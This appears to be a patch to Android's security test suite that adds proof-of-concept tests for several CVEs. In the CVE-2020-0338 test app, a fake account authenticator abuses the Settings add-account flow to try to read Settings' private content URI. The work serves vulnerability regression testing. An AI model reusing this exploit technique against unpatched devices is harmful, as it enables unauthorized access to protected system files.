+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0338 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 123700107)
+    @Test
+    public void testPocCVE_2020_0338() throws Exception {
+        final String TEST_PKG = "android.security.cts.CVE_2020_0338";
+        final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+        final String TEST_APP = "CVE-2020-0338.apk";
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        installPackage(TEST_APP);
+        runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2020_0338");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
new file mode 100644
index 00000000000..de245bb06da
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 228450811)
+    @Test
+    public void testPocCVE_2022_20347() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2022_20347";
+            final String testClass = testPkg + "." + "DeviceTest";
+            ITestDevice device = getDevice();
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+            installPackage("CVE-2022-20347.apk");
+            runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
new file mode 100644
index 00000000000..c4f52254d66
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20349 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_PKG = "android.security.cts.CVE_2022_20349";
+    public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver";
+
+    @AsbSecurityTest(cveBugId = 228315522)
+    @Test
+    public void testPocCVE_2022_20349() throws Exception {
+        try {
+            ITestDevice device = getDevice();
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            /* Install the test application */
+            installPackage("CVE-2022-20349.apk");
+
+            /* Set Device Admin Component */
+            AdbUtils.runCommandLine(
+                    "dpm set-device-owner '" + TEST_PKG + "/" + TEST_DEVICE_ADMIN_RECEIVER + "'",
+                    device);
+
+            /* Run the test "testBluetoothScanningDisallowed" */
+            runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testBluetoothScanningDisallowed");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/Android.bp
new file mode 100644
index 00000000000..810da9ab9ee
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2020-0338",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/AndroidManifest.xml
new file mode 100644
index 00000000000..49d7f61af17
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/AndroidManifest.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2020_0338"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
+    <uses-permission android:name="android.permission.USE_CREDENTIALS" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2020-0338"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+
+            <intent-filter android:label="AOSP_Content_Reader">
+                <action android:name="android.intent.action.SEND" />
+                <data android:scheme="content" />
+                <data android:scheme="file" />
+                <data android:mimeType="*/*" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".PocService"
+            android:exported="false">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+        <meta-data
+            android:name="com.google.android.actions"
+            android:exported="true"
+            android:resource="@xml/authenticator" />
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2020_0338" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/layout/activity_main.xml
new file mode 100644
index 00000000000..3df8d8985f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/layout/activity_main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:id="@+id/parent"
+    android:background="#FFFFFF"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/integers.xml
new file mode 100644
index 00000000000..ec2082c1446
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <integer name="ASSUMPTION_FAILURE">1</integer>
+    <integer name="FAIL">2</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/strings.xml
new file mode 100644
index 00000000000..5ff1928d646
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="RESULT_KEY">RESULT</string>
+    <string name="MESSAGE_KEY">MESSAGE</string>
+    <string name="SHARED_PREFERENCE">CVE_2020_0338</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/xml/authenticator.xml
new file mode 100644
index 00000000000..793ef45426d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/res/xml/authenticator.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts.CVE_2020_0338"
+    android:label="CVE-2020-0338" />
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/DeviceTest.java
new file mode 100644
index 00000000000..5cf178a0a0e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/DeviceTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    public static final String TEST_PACKAGE = "android.security.cts.CVE_2020_0338";
+    final int MAX_WAIT_TIME_MS = 10 * 1000;
+    UiDevice mDevice;
+
+    @Before
+    public void setUp() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+    }
+
+    @Test
+    public void testCVE_2020_0338() {
+        final Context context = getApplicationContext();
+        try {
+            mDevice.executeShellCommand("am start -n " + TEST_PACKAGE + "/.PocActivity");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+
+        int result = -1;
+        String message = null;
+        long startTime = System.currentTimeMillis();
+        while ((System.currentTimeMillis() - startTime) < MAX_WAIT_TIME_MS) {
+            SharedPreferences sh = context.getSharedPreferences(
+                    context.getResources().getString(R.string.SHARED_PREFERENCE),
+                    Context.MODE_APPEND);
+            result = sh.getInt(context.getResources().getString(R.string.RESULT_KEY), 0);
+            message = sh.getString(context.getResources().getString(R.string.MESSAGE_KEY), null);
+            if ((result > 0) && (message != null)) {
+                assumeTrue(message,
+                        result != context.getResources().getInteger(R.integer.ASSUMPTION_FAILURE));
+                assertNotEquals(message, result, context.getResources().getInteger(R.integer.FAIL));
+                break;
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocActivity.java
new file mode 100644
index 00000000000..3f068c44e90
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocActivity.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+
+import java.io.FileNotFoundException;
+
+public class PocActivity extends Activity {
+
+    private Context mContext;
+
+    private void setResult(int result, String message) {
+        SharedPreferences sh =
+                getSharedPreferences(getString(R.string.SHARED_PREFERENCE), Context.MODE_PRIVATE);
+        SharedPreferences.Editor edit = sh.edit();
+        edit.putInt(getString(R.string.RESULT_KEY), result);
+        edit.putString(getString(R.string.MESSAGE_KEY), message);
+        edit.commit();
+        Intent intent = new Intent(PocActivity.this, PocService.class);
+        stopService(intent);
+        finish();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        mContext = this.getApplicationContext();
+        readFileDescriptor();
+        grantSettingsPermissions();
+        readFileDescriptor();
+    }
+
+    private void readFileDescriptor() {
+        final Uri uri = getUri();
+        try {
+            this.getContentResolver().openFileDescriptor(uri, "r");
+        } catch (FileNotFoundException e) {
+            setResult(getResources().getInteger(R.integer.ASSUMPTION_FAILURE), e.toString());
+        } catch (SecurityException e) {
+            // This is expected so do nothing and return
+            return;
+        }
+        setResult(getResources().getInteger(R.integer.FAIL), "Vulnerable to b/123700107!!");
+    }
+
+    public Uri getUri() {
+        return Uri.parse(PocAuthenticator.getSettingsUris().get(0).toString());
+    }
+
+    private static boolean isCar(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
+    public void grantSettingsPermissions() {
+        try {
+            String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
+            String cls = isCar(mContext) ? "com.android.car.settings.accounts.AddAccountActivity"
+                    : "com.android.settings.accounts.AddAccountSettings";
+            String accountTypes[] = {PocAuthenticator.ACCOUNT_TYPE};
+            Intent intent = new Intent();
+            intent.setClassName(pkg, cls);
+            intent.putExtra("account_types", accountTypes);
+            startActivity(intent);
+            Thread.sleep(6000);
+        } catch (Exception e) {
+            setResult(getResources().getInteger(R.integer.ASSUMPTION_FAILURE), e.toString());
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocAuthenticator.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocAuthenticator.java
new file mode 100644
index 00000000000..c801142ae60
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocAuthenticator.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+import java.util.ArrayList;
+
+public class PocAuthenticator extends AbstractAccountAuthenticator {
+    public static final String ACCOUNT_TYPE = "android.security.cts.CVE_2020_0338";
+    private static ArrayList<Uri> sSettingsUris = null;
+    Context mContext;
+
+    public PocAuthenticator(Context context) {
+        super(context);
+        mContext = context;
+    }
+
+    public static ArrayList<Uri> getSettingsUris() {
+        if (sSettingsUris == null) {
+            sSettingsUris = new ArrayList<>();
+            sSettingsUris.add(Uri.parse("content://com.android.settings.files/attachment"));
+        }
+        return sSettingsUris;
+    }
+
+    @Override
+    public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+        return null;
+    }
+
+    @Override
+    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+            String authTokenType, String[] requiredFeatures, Bundle options)
+            throws NetworkErrorException {
+        final Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
+        intent.putExtra(Intent.EXTRA_STREAM, getSettingsUris());
+        intent.setClassName(mContext.getPackageName(), PocActivity.class.getName());
+        intent.putExtra(AccountManager.KEY_ACCOUNT_TYPE, accountType);
+        intent.putExtra(AccountManager.KEY_ACCOUNT_AUTHENTICATOR_RESPONSE, response);
+        final Bundle bundle = new Bundle();
+        if (options != null) {
+            bundle.putAll(options);
+        }
+        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
+        return bundle;
+    }
+
+    @Override
+    public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+            Bundle options) throws NetworkErrorException {
+        return null;
+    }
+
+    @Override
+    public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+            String authTokenType, Bundle options) throws NetworkErrorException {
+        return null;
+    }
+
+    @Override
+    public String getAuthTokenLabel(String authTokenType) {
+        return null;
+    }
+
+    @Override
+    public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+            String authTokenType, Bundle options) throws NetworkErrorException {
+        return null;
+    }
+
+    @Override
+    public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
+            String[] features) throws NetworkErrorException {
+        return null;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocService.java
new file mode 100644
index 00000000000..b7312200888
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0338/src/android/security/cts/CVE_2020_0338/PocService.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0338;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import androidx.annotation.Nullable;
+
+public class PocService extends Service {
+    PocAuthenticator mAuthenticator;
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (mAuthenticator == null) {
+            mAuthenticator = new PocAuthenticator(this);
+        }
+        return mAuthenticator.getIBinder();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
index f0ab82b41ad..e7cd5548d0d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
@@ -20,7 +20,6 @@ android_test_helper_app {
     name: "CVE-2021-0921",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
index 0f424617560..167a849c948 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -5,6 +5,7 @@ import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
 import android.net.Uri;
 import android.util.Log;
 
@@ -13,13 +14,18 @@ import java.io.File;
 import static org.junit.Assume.assumeNoException;
 
 public class Trigger {
-    private static final String TAG = "TAG_2021_0921.Triggger";
+    private static final String TAG = "TAG_2021_0921.Trigger";
     private Context mContext;
 
     public Trigger(Context context) {
         mContext = context;
     }
 
+    private static boolean isCar(Context context) {
+      PackageManager pm = context.getPackageManager();
+      return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
     public void accountSettings() {
         Log.d(TAG, "accountSettings() start");
 
@@ -30,9 +36,8 @@ public class Trigger {
         Authenticator.mIntent = arbitraryIntent;
 
         Intent intent = new Intent();
-        intent.setComponent(new ComponentName(
-                "com.android.settings",
-                "com.android.settings.accounts.AddAccountSettings"));
+        String pkg = isCar(mContext) ? "com.android.car.settings" : "com.android.settings";
+        intent.setComponent(new ComponentName(pkg, pkg + ".accounts.AddAccountSettings"));
         intent.setAction(Intent.ACTION_RUN);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         String authTypes[] = {"android.security.cts"};
@@ -42,7 +47,7 @@ public class Trigger {
         try {
             mContext.startActivity(intent);
         } catch (ActivityNotFoundException e) {
-            // activity does not exist on this device
+            assumeNoException(e);
         }
         Log.d(TAG, "accountSettings() end");
     }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
index 67b3b0215c0..3ba129b85eb 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -20,7 +20,6 @@ android_test_helper_app {
     name: "CVE-2021-0928",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    platform_apis: true,
     test_suites: [
         "cts",
         "vts10",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
new file mode 100644
index 00000000000..09297b2aa23
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2022-20347",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
new file mode 100644
index 00000000000..92421230d7c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2022_20347">
+    <uses-permission android:name="android.permission.BLUETOOTH"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+    <application>
+        <activity android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
